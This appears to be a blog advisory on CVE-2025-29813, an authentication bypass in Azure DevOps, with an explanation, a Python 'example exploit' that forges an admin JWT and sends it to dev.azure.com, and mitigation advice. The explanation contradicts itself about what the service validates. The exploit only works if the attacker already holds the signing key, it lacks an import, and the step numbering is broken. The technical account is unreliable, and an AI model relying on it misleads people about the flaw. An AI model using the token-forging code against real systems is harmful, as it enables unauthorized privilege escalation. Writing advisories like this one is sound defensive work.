A major security flaw, CVE-2025-29813, has been discovered in Microsoft Azure DevOps, involving a vulnerability titled “Authentication Bypass by Assumed-Immutable Data.” In simple terms, this bug allows an attacker to fool Azure DevOps into thinking they are someone else—potentially even an admin—by manipulating identity data that wasn’t supposed to change. This means unauthorized users could gain far more privileges than they should have, posing a stark risk for organizations using Azure DevOps for code, CI/CD, and more.

Let's break down how this vulnerability works, a sample exploit (for educational purposes), and what you should do to stay safe.

What is CVE-2025-29813?

Azure DevOps uses what are called identity claims to figure out who a user is and what permissions they have. These claims are supposed to be immutable (unchangeable) once issued. However, due to a logic flaw, Azure DevOps sometimes trusted these claim details without re-verifying them. If an attacker could generate or intercept one of these claims, they could modify the claim and use it to “prove” they’re any user they want—including highly privileged ones.

How Does the Exploit Work?

1. Claim Creation/Interception: An attacker generates or captures an authentication claim (such as a JSON Web Token or session cookie) used by Azure DevOps.
2. Claim Modification: The attacker edits the claim’s contents, changing things like the user_id or role field to impersonate another user (e.g., an organization admin).

Sending the Spoofed Claim: They send the manipulated claim to Azure DevOps.

4. Authentication Bypassed: Because Azure DevOps trusts the modified claim’s data without properly validating it, the attacker is granted unauthorized access.

Simple Diagram

Original Claim (legit):
{
  "user_id": "user123",
  "role": "member"
}

Modified Claim (attacker):
{
  "user_id": "admin",
  "role": "owner"
}

Code Snippet: Example Exploit

*(Disclaimer: This is a simplified, redacted example for educational use only! Do not use for unauthorized access.)*

Suppose Azure DevOps uses signed JWTs for user identity, but only checks the signature, not the data inside:

import jwt  # PyJWT library

original_token = jwt.encode({'user_id': 'user123', 'role': 'member'}, 'secret', algorithm='HS256')

# Attacker decodes and modifies the payload
payload = jwt.decode(original_token, options={"verify_signature": False})
payload['user_id'] = 'admin'
payload['role'] = 'owner'

# Attacker re-encodes with the same secret or a known key (if key is weak or leaked)
evil_token = jwt.encode(payload, 'secret', algorithm='HS256')

# The attacker uses evil_token in a request to Azure DevOps
headers = {'Authorization': f'Bearer {evil_token}'}
response = requests.get('https://dev.azure.com/org/project/_apis';, headers=headers)
print(response.content)

If DevOps only checks the claim contents and assumes them to be immutable (and trusted), this “admin” impersonation would succeed.

Privilege Escalation: Regular users or outside attackers can grant themselves admin roles.

- Lateral Movement: Attackers could access projects, pipelines, repos, secrets, or code owned by others.
- Data Theft or Sabotage: Full control over organizational resources, data exfiltration, or service disruption.

References

- Microsoft Security Response for CVE-2025-29813 (official)
- Azure DevOps Security Best Practices
- JSON Web Token Vulnerabilities

Mitigation and Recommendations

- Apply All Vendor Patches ASAP: Microsoft has released patches addressing this flaw (see advisory). Patch all Azure DevOps services immediately.

Rotate Secrets: If you believe any tokens or secrets may have been exposed, rotate them now.

- Audit User Activity: Watch for suspicious role changes or logins, especially for privileged accounts.
- Review Claim Validation: Ensure your apps and services always verify not just token signatures, but also check that claims match actual entitlements and identities.

Conclusion

CVE-2025-29813 is a critical reminder: never trust data that can be changed in transit, even if protocols “usually” keep them safe. In Azure DevOps, a single trust assumption led to potential company-wide compromise. Transparency, rapid patching, and ongoing vigilance are your best defenses.

Stay informed, update your software, and never assume the impossible!

Timeline

Published on: 05/08/2025 23:15:52 UTC
Last modified on: 06/05/2025 14:28:41 UTC